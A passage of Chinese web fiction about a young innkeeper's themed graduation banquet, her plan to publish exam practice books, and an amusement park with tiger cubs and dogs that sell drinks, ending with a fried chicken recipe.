下方的方碟子中,一汪深褐色的墨汁,静静的躺在那里。 方盘的另外一边,一叠笋纸微微发黄,整整齐齐叠放,等待着主人的书写。若不是她说,大家都没看出来,这个纸竟然能吃。 学政大人平生最爱写字,对书法颇有研究,看见笔墨纸砚便走不动道,立马捡了一颗中号毛笔,蘸了点墨汁,刷刷写在笋纸上。 他手腕悬空,笔尖挥舞,笋纸上留下书香万里四个大字,下笔顺畅丝滑,笔锋微露,犹如真笔。 他捂着下颌的胡子,一连叫了三个好字。 平时写完字的他习惯的的把笔搁在笔架上,突然想起来可以吃,伸出去的竹笋笔转了个弯,到了嘴巴里,轻轻一咬,鸡枞菌的鲜甜混合海鲜墨水的浓香,在舌尖上一层层推进,好吃得恨不得将舌头都给吞下去。 又咬了一口笔杆,外面的竹笋笔杆香脆鲜美,内层的虾茸柔韧q弹,两种不同的食材结合在一起,形成新的奇妙美味。 学政大人吃完笋笔,捡起一页笋纸,撕了片边角到嘴中,酥中带脆,带了淡淡的竹香,他突发灵感,将写过字的笋纸卷了起来咬了一嘴,带了海鲜墨汁的笋纸,又是另外一种味道,鲜中带着甜,这道菜既符合了读书人挥墨弄笔的嗜好,又做成了一道绝美的菜肴,果然巧思,妙极,妙极啊。 学政大人脸上露出了满意的神色,众位举子依次品尝,给予了极高的评价。 张丰良连续吃了两只笋笔,嘴里嚼得咔嚓响:“确实有几分意思,我勉为其难再尝一只罢。” 坐在他旁边的举子嗤笑取走最后一只笔:“别,您这样一口一根,和猪八戒吃人参果有何差别,还是我来吧!” 张丰良面上浮现一丝恼怒:“嘁,不就是竹笋么,八百年没吃过似的,谁稀罕!” 同桌人讥讽的看了他一眼,没人搭理他。 正说着,伙计们鱼贯而入端上正菜,大大小小形态各异,五颜六色的珍馐摆了满满一桌子,最吸引人眼球的便是中间踏雪寻熊。 冒着寒气的冰盘四周盛开雪白晶莹的贡梨花,中间一只雪白去骨去毛的熊掌,上面沾染了点点黑色的鱼子酱,如同冬天雪地里黑熊留下的脚印,让人感觉置身于雪花飞舞的森林中,耳畔能听到黑熊的怒吼。 入口满满的胶质,熊掌浓香粘稠,带了鲟鱼的鲜甜,让每一个人,处在鱼与熊掌兼得的喜悦中,得到了极大的满足。 典故与美食相结合,是更久不变的经典。 还有齐争上游抗浪鱼仔干,红运当头红烧帝王蟹,龙凤呈祥龙虾烧鸡圆,鱼跃龙门清蒸长江带鳞鲥鱼,高中一甲甲鱼汤,扬眉吐气炒羊脸,紫气东来爆炒鳝鱼,攀登高峰的爆浆驼峰,富贵一生脆皮烤鸭,栋梁之才凉拌鹿筋冻,苦尽甘来凉拌三丝,胆气过人蛋蒸海胆,汉字豆腐,呦呦鹿鸣鹿肉饼,东方雄起醒狮酥,圆圆满满蜜酒酿汤圆,硕果累累瓜果拼盘,登科及第芝麻酥…… 合计三十二道菜,飞禽走兽无所不有,时令鲜蔬,样样齐备。 尝着百年一遇的美味,喝着入口甘醇的状元酒,觥筹交错,好不热闹。 酒过三巡,菜过五味,厅里的气氛热烈起来,枯坐无趣,诗词歌赋必须走起。 刘青青贴心的送上雪浪纸、紫毫笔、徽州墨,卢雪樵赞赏的看了她一眼:“就以御笔鸡枞为题,大家伙随意发挥,如何?” 有想在众人面前出风头的,有那真心喜爱这道菜的,无不欣然应下。 一时间花厅内诗词歌赋层出不穷。 换着法儿将皇帝,主考,衙门,顺带着将桌子上的各道菜夸得天花乱坠,世间难寻。 刘青青缩在角落里,激动得喘着粗气,催促郭守云奋笔疾书,将这些读书人的临场发挥一一记录下来。 要说夸人,还是读书人最厉害,你看看,什么琼浆玉液,只应瑶台有,珍馐美味,恍如王母宴,啧啧。 就连酸话最多的张丰良,诗兴大发,最后喝的叮咛大醉,拉着旁人感叹,后悔没生了两个肚子来装菜,过了今日,不晓得什么时候,还能再吃到如此美味。 一顿鹿鸣宴在众多举之的称赞中,主考大人们的满意中落下帷幕。 次日各位举子告辞离场,青华园备有特产相送:土仪三十两,还有精包装的剃须刀和状元糕。 用刘青青的话说,这些都是进士的种子选手,将来执政一方,三十两银子,足够他们进京赶考的路费,只要中了一人,刘青青这笔投资,便是成功的。 刘青青也不是随便一人都送银子,家里窘迫且对青华园有好感的举子,才悄悄躲在室内,赠送了土仪,至于剩下的举子,清一色的状元糕和剃须刀,既博得了好感,又不会得罪人,更没有做冤大头。 这两样东西其实不值当多少钱,但是,状元糕代表着对举子们美好的祝愿,谁不希望自己接下来的春闱高中状元呢?这份礼物正正戳中每一位举子的心窝子。 青华园的剃须刀简单易操作,不会割伤脸颊,是每一位长胡子的男士长途跋涉保持脸部清爽而不颓丧的必备器械。 试想,接下来的每一天,举子们每天早上起床洗漱,都要捏着刻着青华字样的剃须刀清理面颊,一路进京赶考,会遇到无数的同科,大家一起同吃同睡,这个小东西,会给青华园带来巨大的流量。 她已经在暗搓搓的为将来进京部署照势。 这一场宴席最终通过多方讲述,流传了出去,上门求购同款鹿鸣宴的人,不计其数。 迎宾半点不遮掩:“嗨,这是南安府所有酒楼一起举办的鹿鸣宴,所以才得到了大家的高度评价。 你想吃醒狮酥啊,到红酥手去,是他们家的厨子来做的,什么,打算尝一尝炒羊脸,这是亢金楼的招牌菜……” 刘青青兑现承诺,将雪中寻熊,国色天香,御笔鸡枞的菜谱全无保留教给里薛文豪。 薛文豪在遇仙楼大力推广这三道菜,确实让遇仙楼的营业额回升了许多。 不过,薛文豪在数钱的时候,痛骂刘青青坑人。 因为国色天香要用牡丹花做模具,御笔鸡枞,需要鲜嫩的鸡枞,而这两样,只有青华园手里有。 至于熊掌,那东西可遇不可求,不提也罢。 现在的薛文豪情绪很复杂,一方面享受这几道招牌菜为遇仙楼带来的人流量,一方面肉痛从刘青青手里买原料花费的重金。 还是刘青青点醒了他:“买原料走的是遇仙楼的公账,又不是你的钱,你肉疼个什么劲!” 薛文豪幡然醒悟,是啊,遇仙楼业绩好,他的奖金就高,还受到了总店的表扬,若继续发展下去,也许能升职到上京的遇仙楼做CEO呢。 对刘青青态度越发好,几乎没拿香烧一烧拜一拜,把她当做行走的财神爷,旺运的女菩萨。 相对于遇仙楼的宾客盈门,摘星楼和福满楼门可雀落。两家掌柜满脸愁苦,找到周掌柜,扯着他的衣领:“老小子,竟然算计我们,说好的一起收拾青华园,结果你们和青华园沆瀣一气狼狈为奸,今日必须要给个说法,不然,我们便不走了!” 周掌柜苦着脸,自家东家不做人,不是一天两天了,还要给他遮掩:“我们也是没办法,生意一日不如一日,总店那边追责了好几次,下了最后通牒,若业绩再没长 进,便要换个少东家过来。薛少这不是没办法么,花了大力气,才从青华楼那里弄来了三个方子,要不,你们也去找青华楼买两个新方子?” 摘星楼和福满楼闹了一场,半点好处没讨着,倒被臊了一顿,没好气骂骂咧咧离开。两人不解:“奇怪,青华园把方子给了遇仙楼,他们自己难道不做生意了么?” 老手艺人的心目中,方子必须掌握自己手中,才立于不败之地,刘青青的做法,他们着实不理解。 被他们讨论的刘青青,对坐在谢玉华的面前,微笑着道:“先生,您想不想,让您的名字流传整个南安府,甚至大江南北?” 第119章 第119章少年们,颤抖吧…… 谢玉华少年秀才,在常宁县曾名噪一时。却屡试不中,磋磨十五年,才得中解元,少年时候的意气风发,锋芒毕露在十五年的岁月中磨砺,变成了稳重踏实。 刘青青画的大饼,他半点没动心,说句难听的话,他的年纪足够给刘青青当爹了,不再是心思浮动的毛头小子,被人哄几句便找不到北。人到中年,经过世情的毒打,晓得屎难吃,钱难赚,想出名,哪里是那么容易的。 他扫过面前充满朝气斗志的小姑娘,浑身上下一股敢想敢做的拼搏劲,好似曾经的自己,谢玉华不自觉对她宽容温和了许多。 礼貌温声接话:“少东家这是何意?” 刘青青暗暗高看了他一分,不愧是解元,学识稳重一样不缺。不骄不躁,不亢不卑,是冲击进士的头号选手。 刘青青笑笑:“冒昧请问先生,是打算即刻动身上京春闱,还是在家沉淀一二年再去?” 算是问到了谢玉华的心坎上。 他其实想一鼓作气上京赶考,可是,实在走不掉。家中为了供养他读书,已经到了山穷水尽之处。 此去京城万里,山高水长,万一有个一二,家中妻儿该如何是好? 不去吧,举人可以谋一个县丞师爷之类的,有了进项,能缓解家中的困境,以后庶务缠身,哪里还有功夫静心专研学问。人生六十载,晃悠悠弹指一过,壮志酬筹磋磨成柴油盐米,实在意难平。 谢玉华默默想了一会,身上可见的落寞了许多:“我学识不扎实,打算在家乡沉淀几年。” 刘青青安慰他:“先生此举大善。” “我家中也有人在府学念书,时常回来和我们讲解朝廷之事。听说朝廷上因为金人,吵得不可开交,这一年的乡试也因此推迟。 我头发长见识短,不晓得什么大道理。琢磨着,原来国家与国家之间的事,就像村子里的人家一样,为了争田埂大打出手,两家的孩子全都下场互撕。 现在已经是十月末,接下来寒冬腊月,大雪封山,一来不适合赶路,二来每每到冬季,天气寒冷,边境上又要起争端,来年的春闱,不晓得是什么样的光景,万一又延期呢,难道您一直在上京等候么?” 一语点醒梦中人,谢玉华坐直了身子,人家小小年纪,比他还看得清楚。 这个时候去京城,算是一头扎进了烂泥坑,上面神仙打架,一不小心殃及他们这些池鱼儿,还不如躲在南安府这偏远之地,等时局平稳些再说。 谢玉华想清楚了其中的得失,惆怅一扫而空,真诚的烘手行礼:“今日得小东家一席话,胜读百本书,多谢。” 他投桃报李道:“小东家特意寻我,可是有什么我能做的,只管提就是。” 刘青青笑了,她就喜欢和这样直接不做作的人打交道。 “先生,容我失礼,您觉得,您耽搁了这么多年才拿到解元,是为什么?” 真是哪壶不开提哪壶。 刚刚还觉得她有礼懂事的谢玉华,一股子恼怒直冲天灵盖,瞬间觉得她和村子里那些人嫌狗厌吐人口水的臭小子一个德行。 他深深的呼吸了两口气,才没有甩袖离开。 对面的刘青青静悄悄的坐着,一脸认真的看着他,像等老师答案的小学子。 谢玉华心头一梗,自嘲都是过去的事,和一个不懂事的毛丫头,有什么好计较的。 没好气道:“自然是因为我读书不够多,不够广泛。” 刘青青哦了一声:“可是所有人都学了四书五经,都背得滚瓜烂熟,为什么中举的多是家里富裕的,家中贫寒的寥寥无几,难道贫寒之人,没有富有之人聪明?” 谢玉华再好的涵养,也被她给说没了:“谬论。 自然是因为世家大族家中藏书丰富,或请的夫子见多识广,每一篇文章都能从许多角度分析猜题练题,所以富家子弟考中的可能性更大。” 刘青青恍然大悟,科考和末世高考差不多,四书五经是教科书,但高考从来不考教科书,是考教科书拔高了后的知识。 那她接下来的计划,应该没有问题。 她想了想道:“先生,你能不能以四书五经为蓝本,编一套练习册出来?将近几年的科考题目都收录进去,然后再适当变化,弄成科考模拟题,或者押卷题?” “然后我们把这些练习册大量刊印,通过书店,售卖给贫寒子弟,他们不用大量的藏书,不用请束脩高昂的夫子开小灶,自己也能通过练习册学习,在科举中取得好的成绩。” 谢玉华嘴巴张了张,半响才道:“你这想法有那么几分薪火相传的意思,可是,我只背得南安府这十五年的乡考题目,其他府的,我并无知晓,还有,进士科我没考过,实在无能为力。” 这便是意动了。 刘青青笑道:“先生莫急,您先把乡试的编写出来,进士科的,我重新想办法,让参加考试的举子默下来,再收录进去。” “这册丛书收录五次的乡考真题,还有模拟押题,不如叫五年科考三年模拟,怎么样?” 谢玉华脸上忽明忽暗,他磋磨了十五年才中举,不是因为不够努力,是因为,有些东西,只有世家大族才有传承,为何今年他能中举,因为他考了五次,将乡考的套路都给摸透了。 若每个学子都得了这样上进的机会,相信,南安府中举之人,将会井喷一般,长此以往,朝廷里南安府籍官员不再孤掌难鸣,税政民生上,也能替南安府百姓发出声音。 他们这样做,无异于撬了那些世家大族的根基,短时内没问题,时间长了,人家回过味来,只怕要反扑。 谢玉华不在把刘青青当做个小屁孩,提出了自己的顾虑。 刘青青笑道:“没事,等他们回过味来,我们已经发展壮大,不怕他们了。” 谢玉华提出最后一个问题:“我看着,你种田卖特产干得有声有色,为什么劳心劳力做这事呢?” 刘亲亲无奈笑道:“没办法,家里有人要科举,只当给他提前铺路了。” 两人就细节,又敲定了许多。 谢玉华负责编书,刘青青管理刊印出版售卖,除去成本赚得的钱,两人对半分。 当师爷县丞,要协助知县大人管理县衙,杂七乱八的事多,不能专注的读书。但当编辑不一样,他要再次吃透四书五经,深耕细作,一来编出高质量的练习,二来加深自己的理解,也是一个再次学习的过程。 刘青青对于自己人,向来大方,知道谢玉华囊中窘迫,又不愿意接受避税地主的投靠,家中甚是拮据,吩咐账房预支了一百两银子给他。 因为毛笔字大占纸,刘青青将自己的鹅毛笔推荐给了他:“只管用小字,同样厚度的书本,鹅毛笔小字内容更多,囊中羞涩的学子们一定争相购买。” 谢玉华写过一次后,爱上了鹅毛笔,欢欢喜喜投身到主编事业中。 五年科举三年模拟走上正轨,郭守云将来的练习册有了着落,刘青青放下心头的一件大事。 她弄这个,完全是为了让郭守云得到最好的资料,科举之道一路顺畅。 当然也可以为郭守云聘请名师,但是,科举实质是考试,名师再厉害,讲得精彩传神,没有练习模拟题也是白搭。 就像学开车一样,你看着人家教练人车合一 ,自己上去就成马路杀手,哐哐哐撞墙或冲下水沟,唯一的原因便是练习太少。 从现在开始编纂练习册,经过学子们的练习反馈,相信几年后,练习册能给郭守云带来精准的指导,和最大的提升。 腾出手的刘青青去到厨房,后知后觉的发现,刘慧兰这几天好像闷闷不乐,看着她欲言又止。 刘青青找到她:“阿姊,我们一家人,你有什么不能直接和我说的。喔,让我猜一猜,是不是你看中谁了?” 刘慧兰脸颊一红,没好气的瞅她一眼:“尽胡说!” 半响才道:“客人们来点鹿鸣宴的菜,你让迎客把他们介绍到其他酒楼,是不放心我做的菜,味道不好么?”若觉得她不行,可以再聘请个老厨师来,她一点不会介意。把上门的生意往外推,着实让人不理解。 原来是这事啊。 刘青青掰着手指头询问刘慧兰:“阿姊,我们一道道菜来数一数,攀登高峰用的是骆驼峰,龙凤呈祥主料是一斤重的活蹦乱跳龙虾,鸿运当头是帝王蟹,就连我们家烧得御笔鸡枞墨汁,用的也是海鲜活墨鱼。” “我们家根基浅,没有沙漠到府城的商队,也没有海边到府城的商船,若做这些菜,我们需要把供应商当祖宗供着,万一他们使坏,提个价啊,弄点坏了的海鲜来,我们是要,还是不要呢? 而且我们的根基是青华园,定位是游乐园,顺便卖点特产小食,面向的是富余家庭,而不是吃得起鹿鸣宴的土豪大户。” “所以,干脆把这些菜给这些酒楼做,一来我们不去费这个神,二来他们记得我们的好,我们青华园的海鲜原料等,他们打本送过来,三来,我们送了土豪客人过去,他们也推荐客户过来游玩,大家互利互惠,一起发财。” 刘慧兰听了她的解释,释怀的拍拍胸口:“其实,让我做这些大菜,我也蛮紧张的,生怕手一抖,将这么贵重的原材料给糟践了。 你知道么,光那只帝王蟹,竟然要十两银子,我的个天啊,还不如直接吃银子呢。给他们几家烦去。 诶,你说的小食是啥,好吃么?” 第120章 第120章卖水的伙计 天色大明,刘谷香带着两个孩子坐在出城的牛车上,她收拾得干净利索,发髻一丝不苟坠在脑袋后。两个孩子打扮得光鲜亮丽——穿上了最好的衣裳。 她摸了摸怀里硬硬的体验卷,嘴角紧紧抿着,这么多年,她终于在钱家站稳了脚跟。 思绪回到了昨夜,她操心完一家老小,如往常一样,给下值的丈夫端来烫乎乎的洗脚水。大她十八岁的丈夫,脸上终于有了好颜色,把家里的银匣子交给她打理,破天荒塞了一包点心给她:“这些年辛苦你了,给你带了点心。” 一瞬间,委屈、欣慰,各种复杂的情绪交织在一起。 丈夫钱厚实前头的妻子孙尚香是婆婆的内侄女,生产的时候没了,留下一子钱寅。 城里的小姑娘嫌弃他是二婚,带着孩子,看不上眼,婆婆焦急寻个后娘来带孩子,便让媒婆到乡下寻摸。 因为给的彩礼高,阿娘不管她的寻死觅活,答应了这门婚事。 不仅彩礼高,而且没有嫁妆,她只穿了身上的衣裳,便嫁进了钱家。 进门的时候,她才十四岁,在婆婆孙氏挑剔的眼皮子底下,当全家子的小丫头,将继子钱寅当祖宗供着养到六岁,婆婆让她和钱厚实完婚。 两年后,生下自己的长女钱微,又两年,生下次子钱斌,在这个家,算是有了一席之地。 又熬了八年,熬得婆婆去世,熬得长子钱寅成婚分家单过,她终于掌了这个家。 丈夫钱厚实是府城城门小吏,看着不起眼,其实油水颇丰,但这些年的积蓄全部给大儿子成亲用了——给他置办了一座新宅院。 难怪让她管家,清点完银匣的她才发现,钱家现在就是一个空壳子。钱厚实只留着十两的米菜钱。 想到这,刘谷香郁气横生,她为这个家当牛做马,给丈夫辛辛苦苦生育了一儿一女,结果,丈夫的心都偏到上京去了,明知道夫子夸奖斌哥儿读书有灵气,需要大笔银钱读书,他还把银子一股脑的买宅子给大儿子成亲,嘴里还口口声声说着对不起死去的前妻。 刘谷香算是对丈夫寒了心,将满心的希望,放在儿子身上。 她摸了摸怀里的体验卷,这东西来得太是时候了。 青华园举办的鹿鸣宴轰轰烈烈,卖的状元糕美味可口,在城里传为美谈,原以为和她没有什么关系。 天下掉下个大馅饼,她打开状元糕,竟然中了一等奖——一张举人宅院体验卷。 一想到,儿子钱斌可以到举人老爷住过的房子里看一看,吸一吸,蹭一蹭举人老爷的文气,她的心止不住砰砰跳。 钱微扯了扯她的袖子,语气里都是激动,拉回了她的思绪:“娘,地上都是红毯诶!” 出了城门原本是黄土路,现在被一块正红色的粗布覆盖,顺着道路向前延伸,远远的通向前方的庄园。 外面的道路都用红毯铺地,不晓得里头是什么样的光景? 不一会到了门口,已经排了很长的队伍,年轻出游的夫妻,和她一样拖儿带女的中年妇人,成群结队的少男少女,不一而足。 茂盛的树木,姹紫嫣红的花朵,壮观的高塔透过木栅栏的缝隙,在太阳下熠熠生辉。 终于排到了他们,原来要门票,不论大小,十文钱一人。 刘谷香掏出三张体验卷,一张一等奖:举人宅院免费午休体验卷,一张二等奖:小食半价卷,还有一张三等奖:孩童门票免费卷。 迎客收走了她的三等奖卷,另收取了五十文钱。 迎客笑嘻嘻道:“除了您的门票二十文,收了您三十文押金,一人十文。我们园子里不能乱扔东西,不能攀折花草,里头有人看着,您出门的时候,若遵守了规则,押金我们会一文不剩的退给您,若违反了规则,您押金可就没有了!” 她细细记了两遍,有些心疼,二十文钱,够买一斤猪大骨,熬汤给一家子喝,转瞬又想,继子成婚用了一百多两,她今日用上一二两游玩,谁都不能说她的不是。 刘谷香挺起胸膛,交了钱拉着两个孩子进了大门。 入门后青石板铺就的主路,另有无数的鹅卵石铺就的小路,她惶然不知如何行走的时候,儿子钱斌拉了拉她的手:“阿娘,路边有字,我们去看一看。” 岔道口便竖立着一个木牌,钱斌一个个读出来:“武松打虎孩童园,虎园观赏区,金国杀实战园,猴山,花园,休息区,划船区,美食区,游乐区,种植园区,采摘园区……” 钱斌闹着往左去看老虎,钱微想去划船,姐弟两吵得人头疼。 刘谷香拍板决定,先去看老虎,再去划船。 几人顺着木板指向前行,走了约摸一里路,钱斌不乐意了,倔着身子不愿动:“阿娘,我走不动了” 虽然道路两边景色宜人,可是优美的景色却不能填饱肚子。 小孩子饿的快,天亮的时候喝了一碗稀粥,折腾了一早上,被辰时的太阳烤着,热烘烘的又饿有渴。 刘谷香看了一眼女儿,小姑娘没吭声叫累,但红扑扑的脸蛋,焦干的嘴唇,无一不在显示着她此刻同样口干舌燥。 刘谷香耐心的哄着儿子:“你看前面的花特别好看,你走到前面,我采给你带,好不好?” 钱微不赞同认真道:“阿娘,人家说了,不可以随意攀折花草,要罚钱的。” 刘谷香:“……”不过随口哄一哄小孩。 她换了个借口:“前面有卖饮子的,我带你去买,好不好?”儿子皮实,是个小胖墩,哄着他多动一动也好。 娘几个正在扯皮,颠颠跑来三只黄皮大狗。 刘谷香唬了一跳,叫苦连天,这狗几乎有儿子大,威风凛凛健步如飞。 怕被伤到,她将儿子女儿护在身后,慌得左右搜寻趁手的棍棒树枝。 一只野狗便要了老命,三只野狗, 娘几个今日竟是要交代在这里。 钱微从她身后伸出个脑袋,眨巴的眼睛好奇道:“娘,大狗还穿着衣裳,它们嘴上是啥?” 刘谷香仔细一望,每只黄狗嘴巴上带着嘴笼,想是怕伤到人,她悬着的心放了下来,戒备的看着跑近的大狗。 三只大狗跑到他们面前一个急刹车,将身子对着她们:“汪汪?” 它们背上背着一个奇怪的口袋,刘谷香见没有危险,试探的打开口袋,里头竟然是一只只整齐排放的小水囊。 奇怪的是水囊上面都有字和画。 钱斌凑了过来:“糖水,奶茶,淡盐水,气泡水,十文每袋,铜钱放在狗狗背包里,喝完水,袋子请放到路边的木凳子上。” 三人错愕了一下,瞬间露出了笑容。钱斌拍掌叫道:“狗狗太聪明了,竟然给我们送水来!” 刘谷香拍了儿子的头一下:“不是送,是来卖!” 她有心试探狗狗,捡了一袋奶茶握在手中不给钱,拉着儿子女儿便往前走。 三只大狗狗先是疑惑的汪了一声,而后跑到他们前面挡住了路,大有不给钱不给过的架势。 好厉害好聪明的狗狗。 对比下来,自家的看门狗就是个傻子。 她将十个铜板塞到够够的背包里,正要带着孩子离开,另外两只狗狗巴巴的跟上来。 依旧是十文钱一份,一只狗狗卖甜口的状元糕,另外一只狗狗卖嘎嘣脆的奶油爆米花。 得,来都来了,不买点什么对不起自己。 刘谷香要了一袋奶茶,一袋状元糕,一袋爆米花。 三只狗狗收了钱,竟然抬起前爪和钱斌握握手,才颠颠的离开,寻找下一个客户。 刘谷香打扭开水囊袋子,试探的尝了一小口,带着淡淡茶香的牛乳,凉凉的,甜滋滋的,顺着咽喉丝滑的流到胃里,瞬间抚平了她的焦渴,好喝。 钱斌眼巴巴的看着,等她将水囊凑上去,迫不及待的灌了一大口。 钱斌喝了一大口后,懂事的递给钱微:“姐姐你尝尝,真甜!” 娘三个你一口,我一口,水囊不一会便空了大半,三人又吃了些状元糕,浑身的疲惫便一扫而空。 三人从新上路,一边走,观看四周的景色,一边吃着爆米花。 同样是玉米爆出来的米花,但青华园里的米花特别酥,带了一股浓浓的奶香甜味。比外面的好吃多了。 终于到了幼虎园,原来是个小小的园子,两只圆头圆脑的小老虎在栅栏里玩耍,不时歪着头呆萌的看着围观的人,好似在疑惑,这些人怎么长得和它们不一样。 脑袋上大大的王字黑纹,却又提醒着着它们是凶猛高冷的百兽之王。 栅栏口排了无数的小朋友,嗷嗷嗷的学着老虎叫,想引起它们的注意。钱斌的眼珠子早就跑到了小老虎身上,扣不下来。 老虎诶,那些大老爷家里才会养的老虎诶,就这样哐当的出现在大家伙的面前,十岁以内的小孩子,只要花费三百文,就能进去园子里和老虎一起玩耍,亲手摸一摸老虎头上的毛。 当然,若再加三百文,可以穿上青华园提供的,金国杀卡牌上同款武松小号衣裳,提着软软的棉花棒,进去玩一次武松打虎,画师以此为蓝本,速画一幅亲密戏虎图或者武松打虎图。 刘谷香捂着腰间的荷包,实在舍不得花六百文让儿子进去玩儿,但是面对儿子女儿祈盼水汪汪的眼睛,她实在说不出拒绝的话。 而且看着儿子的架势,大有学旁边在地上打滚的小朋友,在挑合适的地方睡下去撒泼。 正在犹豫纠结之际,伙计笑盈盈介绍道:“今日大酬宾,凑够两人一起,每人只要五百文,小老虎快要午休了,大家抓紧时间哦!”【你现在阅读的是 】 120-130 第121章 第121章香辣味 曾几何时,人类是老虎口中的猎物,无数的先人,葬身虎口。今日,老虎身上那层凶猛可怕的强者膜去掉后,变得可爱机灵,与小孩子们在园子里玩起了你追我赶的游戏。 碰碰瓷瓷,自从来到刘家后,被所有成员,上起刘有山,下至大青驴,当吉祥物宠着让着,每日不是吃便是睡,脑袋圆润了一圈,成了一个毛茸茸的球。 刘青青好不容易想到这个办法,让碰碰瓷瓷减减肥。 幼虎园中,碰碰瓷瓷看见举着棒子来追赶他们的孩子们,不屑的撇撇嘴,然后上蹿下跳,灵巧甩开后面的孩童。 太弱了,太弱了,这些两脚兽实在太弱了,小小的嘴巴钝钝的牙,和森林里的那些猛兽完全没有可比性。 两只小老虎跑跑停停,遛狗一样,引着一群小孩子玩儿。 要被追到的时候,碰碰扭过头一扑,将尾随在后面的钱斌吓得一趔趄,后退两步摔倒在草地上。碰碰毛爪子踩在钱斌的胸口上,仰着头意思意思吼了一声,好似下一口就要咬在他的脖颈上,一旁的钱微吓得失声尖叫。 睡在地上的钱斌,甚至能闻到老虎身上,特有的奶腥气,是的,是奶腥味,而不是腥臭味。 脖子上热热的,那是老虎呼吸喷吐的气息,他吓得呆住了,愣愣的看着近在眼前的老虎眼睛里,明晃晃的嫌弃! 嫌弃?老虎嫌弃他不好吃么? 出乎意料的,老虎并没有对着他细嫩的脖颈咬上一口,而是伸出舌头,纠结的试探的舔了他一下。 被糊了一脸口水的钱斌:???!!! 说好的猛兽老虎呢? 身旁的钱微在老虎低头的那一瞬间,立马把将手中的棉花棒用力敲在老虎脑袋,笔直软软的棉花棒,重力之下,被折成给个锐角。 脑袋上挨了一下的碰碰,迷惑的抬起头,适才那一下一点也不疼,还没有瓷瓷和它打架的时候疼。 身体的本能,让它习惯性的晃悠了两下,软软的倒在了地上。 钱微:“????” 她盯着躺在地上一动也不动,露出腹部淡黄色皮毛的碰碰,吓得哇一声哭出来。 老虎被她打伤了,打死了,她不是故意的。 进来摸一下都要一两银子,把人家的小老虎打死了,卖了她也不够赔的。 小姑娘惨白着脸,哭得上气不接下气,全程一旁观看的刘青青:“!!!” 又来了,又来了,真是本性不改。 碰瓷的老毛病又犯了,看把人家小姑娘吓得。 棉花棒有棒子的形状,半点也不会疼,今日第一次营业,她到处巡看,便看到碰碰摸鱼偷懒,借着讹人想休息。 她走进园子里,没好气的踢了踢碰碰:“起来!” 碰碰一动也不动。 不过,刘青青发现,它的耳朵悄悄弯了一点,盖住了耳朵孔。 还有那么多人盯着,她不好解释自家的老虎碰瓷讹人装死。 笑着道:“没事,你们和另外一只老虎玩儿,这只想是累了,我带下去休息休息。” 刘青青让人把碰碰搬到自己院子中,任它躺在地上,往厨房走去,不一会,端来一盆鸡腿鸡翅,在它鼻尖晃了一下。 老神在在的坐在廊下开始啃鸡腿。 鸡腿鸡翅洗干净后,扎上小孔,放入盐蒜葱,适量花椒粉胡椒粉草果粉八角粉腌制两个时辰。 准备一个空盆,两份面粉兑一份 淀粉,一勺盐,一勺胡椒粉,搅拌均匀后备用。 另外打一盆鸡蛋,放入面粉,淀粉,适量牛乳,少量水,根据口味,放入适量的辣椒水,搅拌成较稀疏的面糊备用。 腌制好的鸡腿鸡翅先蘸一些面糊,再裹上刚混合好的面粉,抖掉多余的面粉。 油锅加热至六成热,将鸡腿放下油锅炸至表面微黄捞出放在一边,等油温升高后,再将鸡腿放入油锅复炸一遍,等表面金黄再捞出。 盆里都是才从厨房端过来的炸鸡,表皮金黄,散发着油脂的香味,一口下去,外皮酥脆,带着淡淡的香,鸡肉鲜嫩多汁,根据刘青青的要求,厨房调制了咸香味,香辣味,甜酸味。 黄金炸鸡,已经在美食小街,正式出售。 黄金鸡翅十文一只,黄金鸡腿二十文一只,黄金鸡排,黄金鸡米花,十五文一份,价格有点小贵,但游客们喜爱至极,供不应求。 一只鸡取走鸡腿鸡翅鸡胸肉作为炸鸡,剩余的也没有浪费,鸡头鸡爪鸡脖鸡肫鸡肠做成卤鸡出售,鸡骨架配上猪大骨火腿后,便是过桥米线酸辣粉的高汤。 刘青青老神在在的啃着惦念已久的香辣味鸡腿,感叹生活不易,历经千辛万苦,她喜爱的调料终于齐活了。 躺在地上装死的砰砰有了动静,它鼻尖耸动了一下,贼兮兮的张开眼睛,慢悠悠的爬起来,作出费力的模样,一步三摇晃到刘青青面前,眼巴巴的盯着她——手中的鸡腿。 刘青青被它做作的模样给气笑了,好家伙,要不是她亲眼所见,都要以为它受了重伤。 小姑娘眼珠子一转,举着鸡腿对着碰碰的眼睛:“想吃么?” 碰碰不会说话,它人性化的点点圆脑袋,哈喇子都快流到了地上。 “那好,以后不可以偷懒,你一天只用营业四个时辰,就当减肥了,哈?若同意,你便可以吃了。” 它最喜欢的两件事,懒洋洋的睡在草地上晒太阳,扑蝴蝶。 现在把扑蝴蝶改成遛两脚兽,好像不是什么难事。 碰碰眼睛里闪过一点纠结,为了一根鸡腿,好似有些亏。不过若是一盆,可以考虑。 它用毛爪子划拉了一下,将一盆鸡腿划拉到自己的面前。 刘青青默认的点点头。 碰碰欢喜的含了一个鸡腿,不同于生肉的味道,那是一种新奇的体验,它眼睛发亮,唏哩呼噜的啃着,一边不忘记留下几只不动。 刘青青瞟了一眼小盆,还剩三只,若估计没错的话,是留给瓷瓷、棉花黑炭的。 嘿,难怪阿爹偏心溺爱碰碰,这样淘气又暖心的聪慧小老虎,谁不打心眼里喜欢啊,不过,也太淘气了,必须给它个小教训。 啃完自己那一堆炸鸡腿的碰碰,蹭到刘青青面前,竟然学着棉花那样,将尾巴摇成个风火轮,仰着脑袋盯着刘青青手里最后一只鸡腿。 刘青青:“……” 是你要吃的,不要怪我我! 她眼底闪过一丝狭促,将手中的鸡腿放到碰碰的小盆里。 将刘青青手里最后一只鸡腿成功讹到手的碰碰,欢喜得原地转了个圈圈,迫不及待一口吞下。 只是和记忆中的香酥多汁不同,为什么有嘴巴有一种火辣辣刺痛痛的感觉,它被辣得一口吐了出来,嘻哈嘻哈的流口水,才发现那边的刘青青捂着肚子哈哈大笑。 又是被捉弄欺负的一天,虎生好可怜。 它委屈巴巴的趴在地上,生无可恋的用爪子捂着眼睛生闷气,始作俑者讨人厌的声音还笑嘻嘻道:“你是自己要吃的,我那个是香辣味,好吃吧!” 对比碰碰对香辣味黄金鸡腿的厌恶,游客们接受良好。 美食街上,大家一面嘻哈嘻哈的吃,一面在热切的讨论着青华园的鸡翅里放的新调料,酥脆鲜嫩多汁的鸡翅,配合着嘴巴微微的疼痛,竟然有一种痛快的酣畅感,竟是越吃越上瘾。 除了黄金鸡,还有山药片也美味异常。 刘青青遍寻不到土豆做小食,用山药进行替代。 将山药去皮切成薄片高温油炸,控干油分后的山药片,脆香可口,带着天然的甜腻,甚得小姑娘的欢迎。 